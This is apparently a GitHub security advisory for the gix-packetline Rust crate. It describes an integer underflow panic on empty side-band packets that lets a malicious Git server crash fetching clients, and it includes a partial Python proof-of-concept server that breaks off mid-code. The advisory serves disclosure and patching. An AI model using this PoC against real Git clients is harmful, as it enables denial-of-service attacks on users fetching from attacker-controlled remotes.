GHSA-2vh6-hw4j-32ww

### Summary `gix-packetline` panics when it receives a side-band packet line that contains only the band-id byte with an empty payload. A malicious Git server - or any remote a victim clones/fetches from - can abort the `gix` client process during a normal fetch. This is a pre-authentication, network-triggered denial of service. ### Details In `gix-packetline/src/lib.rs`, `impl From<&[u8]> for TextRef` strips a trailing newline with `d[d.len() - 1]`: https://github.com/GitoxideLabs/gitoxide/blob/eac50e1207e2549b23302c9faf595a420b9919fc/gix-packetline/src/lib.rs#L199 When `d` is empty (an empty side-band payload after the band-id byte is removed), `d.len() - 1` underflows `usize` (to `18446744073709551615`, i.e. `0 - 1`) and the index access panics. The empty side-band line is attacker-supplied and is reached during a normal fetch. (Related: an unchecked `split_at_mut` in `gix-packetline/src/blocking_io/read.rs` is in the same DoS class and worth hardening in the same pass.) ### PoC Confirmed against `gix v0.54.0` (crate `gix-packetline 0.21.4`) and current `main`. 1. Run a minimal malicious git server on `127.0.0.1:9418`. It completes a protocol-v2 handshake (ls-refs, fetch), then sends a packfile header followed by the bytes `0005` + `0x02` - a side-band line of length 5 whose content is the single band-id byte `0x02` with an EMPTY payload: ```python import socket HOST, PORT = "127.0.0.1", 9418 def pkt(d): return ("%04x" % (len(d)+4)).encode() + d FLUSH=b"0000"; OID=b"1234567890123456789012345678901234567890" def handle(c): c.recv(65536) c.sendall(pkt(b"version 2\n")+pkt(b"agent=git/evil\n")+pkt(b"ls-refs=unborn\n") +pkt(b"fetch=shallow wait-for-done\n")+pkt(b"object-format=sha1\n")+FLUSH) buf=b""; sent=False while True: d=c.recv(65536) if not d: return buf+=d if b"command=ls-refs" in buf and not sent: c.sendall(pkt(OID+b" HEAD symref-target:refs/heads/master\n") +p